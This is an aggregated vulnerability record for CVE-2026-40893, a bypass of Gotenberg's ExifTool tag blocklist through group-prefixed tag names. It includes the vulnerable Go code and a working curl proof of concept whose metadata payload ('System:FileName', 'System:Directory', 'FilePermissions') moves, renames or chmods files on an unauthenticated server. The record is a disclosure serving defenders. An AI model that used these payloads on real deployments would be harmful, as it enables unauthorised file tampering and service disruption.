{"id":"CVE-2026-40893","aliases":["CVE-2026-40893","GHSA-62p3-hvxx-fxg4","GO-2026-5162"],"related":[],"kind":"vulnerability","state":"published","title":"Gotenberg: ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names Allows Arbitrary File Rename and Move","summary":"Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. This allows remote attackers to move, rename, and change permissions for arbitrary files. This vulnerability is fixed in 8.31.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. This allows remote attackers to move, rename, and change permissions for arbitrary files. This vulnerability is fixed in 8.31.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nGotenberg blocks certain ExifTool tag names like `FileName` and `Directory` to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — `System:FileName` — which does the exact same thing. Gotenberg only checks if the tag is exactly `FileName`, so `System:FileName` slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.\n\nThis bypasses the fix from [GHSA-qmwh-9m9c-h36m](https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m).\n\n### Details\n\nThink of it like a nightclub bouncer with a blocklist of banned names. The blocklist says \"Block anyone named **John**.\" A person shows up and says \"I'm **Mr. John**.\" The bouncer checks — \"Mr. John\" is not \"John\" — so he lets them in. But inside the club, everyone knows Mr. John IS John.\n\nThat's exactly what happens here:\n\n**The blocklist** (`exiftool.go` line 275-280) blocks these tag names:\n\n```\nFileName\nDirectory\nHardLink\nSymLink\n```\n\n**The check** (`exiftool.go` line 295-301) compares what the user sent against this list:\n\n```go\nif strings.EqualFold(key, tag) {   // is \"System:FileName\" equal to \"FileName\"?\n    delete(metadata, key)            // no — so it's NOT deleted\n}\n```\n\n`System:FileName` is not equal to `FileName` (one is 16 characters, the other is 8), so it passes through.\n\n**But ExifTool treats them as the same thing.** In ExifTool, `System:` is just a group prefix — like a folder name before the tag. `System:FileName` and `FileName` both mean \"rename this file.\" The [ExifTool docs](https://exiftool.org/exiftool_pod.html) say: *\"A tag name may include leading group names separated by colons.\"*\n\n**Why the colon is allowed:** The key validation regex (`exiftool.go` line 31) explicitly permits colons:\n\n```go\nvar safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\\-_.:]+$`)\n//                                                    ^ colon is allowed\n```\n\nSo the full chain is:\n\n1. Attacker sends `System:FileName` → passes the regex (colon is allowed)\n2. `System:FileName` → passes the blocklist (it's not equal to `FileName`)\n3. ExifTool receives `System:FileName` → treats it as `FileName` → **renames the file**\n\n**Bonus finding:** The `FilePermissions` tag is not in the blocklist at all. Sending `{\"FilePermissions\": \"rwxrwxrwx\"}` tells ExifTool to chmod the file, and nothing stops it.\n\n### PoC\n\n**Setup — start Gotenberg with default settings:**\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n```\n\n\n**Create a folder inside the container where we'll move the file to:**\n\n```bash\ndocker exec gotenberg-poc mkdir -p /tmp/evil\n```\n\n**Send the attack — one curl command:**\n\n```bash\ncurl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n  -F 'files=@any-pdf-file.pdf' \\\n  -F 'metadata={\"System:FileName\":\"stolen.pdf\",\"System:Directory\":\"/tmp/evil\"}'\n```\n\nThis returns HTTP 404 because the file got moved before the server could return it.\n\n**Check that the file actually moved:**\n\n```bash\ndocker exec gotenberg-poc ls -la /tmp/evil/\n```\n\n**Result:**\n\n```\n-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf\n```\n\nThe file is sitting in `/tmp/evil/stolen.pdf`. It was renamed from its random UUID name to `stolen.pdf` and moved out of the temporary directory — exactly what the blocklist was supposed to prevent.\n\n**Proof that the existing blocklist works for bare names (control test):**\n\n```bash\ncurl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n  -F 'files=@any-pdf-file.pdf' \\\n  -F 'metadata={\"FileName\":\"stolen.pdf\",\"Directory\":\"/tmp/evil\"}'\n```\n\nThis returns HTTP 500 — the bare `FileName` tag was correctly blocked. Only the `System:FileName` variant gets through.\n\n**Other ways to exploit the same bug:**\n\n- `system:filename` (lowercase) — also works because ExifTool is case-insensitive\n- `system:directory` — moves the file to any writable folder\n- `FilePermissions` — changes the file's permissions (this tag is simply missing from the blocklist entirely)\n\n**Every endpoint that accepts the `metadata` field is affected**, including `/forms/chromium/convert/html`, `/forms/libreoffice/convert`, `/forms/pdfengines/merge`, and all other conversion routes.\n\n### Impact\n\nAny person who can send HTTP requests to Gotenberg (no login needed by default) can:\n\n- **Move files anywhere** inside the container by using `System:Directory`\n- **Rename files** to anything by using `System:FileName`\n- **Change file permissions** by using `FilePermissions` (this tag is not blocked at all)\n- **Break the service** for other users — when a file gets moved mid-request, the server returns 404 errors\n\nIn real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder — potentially affecting whatever service reads files from there.","format":"markdown","source":"ghsa"},{"lang":"en","text":"ExifTool dangerous tag blocklist bypass via group-prefixed tag names in github.com/gotenberg/gotenberg","format":"markdown","source":"go"},{"lang":"es","text":"Gotenberg es una API sin estado impulsada por Docker para archivos PDF. Antes de la 8.31.0, Gotenberg solo verifica si la etiqueta es exactamente FileName, por lo que System:FileName se cuela y ExifTool felizmente renombra el archivo. Esto permite a atacantes remotos mover, renombrar y cambiar los permisos de archivos arbitrarios. Esta vulnerabilidad está corregida en la 8.31.0.","source":"nvd"}],"published":"2026-05-04T19:21:19.000Z","modified":"2026-11-24T17:30:07.502Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"rating":"HIGH"}],"cwes":["CWE-20","CWE-73","CWE-184"],"affected":[{"ranges":[{"version":"< 8.31.0","status":"affected"}],"vendor":"gotenberg","product":"gotenberg","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"8.30.1"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"8.31.0"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8","source":"go"},{"ranges":[{"status":"affected","fixed":"8.31.0"}],"vendor":"thecodingmachine","product":"gotenberg","cpe":"cpe:2.3:a:thecodingmachine:gotenberg:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-62p3-hvxx-fxg4","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40893","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/gotenberg/gotenberg","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0","tags":["web"],"sources":["go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-14T18:08:23.445Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40893","url":"https://www.cve.org/CVERecord?id=CVE-2026-40893","licence":"CVE Terms of Use","modified":"2026-05-14T18:08:26.208Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-62p3-hvxx-fxg4","url":"https://github.com/advisories/GHSA-62p3-hvxx-fxg4","licence":"CC-BY-4.0","modified":"2026-06-25T18:56:20.819Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5162","url":"https://pkg.go.dev/vuln/GO-2026-5162","licence":"CC-BY-4.0","modified":"2026-11-24T17:30:07.502Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40893","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"}],"updatedAt":"2026-11-25T22:59:21.714Z","epss":{"score":0.00347,"percentile":0.30243,"date":"2026-12-02T12:00:21.000Z"}}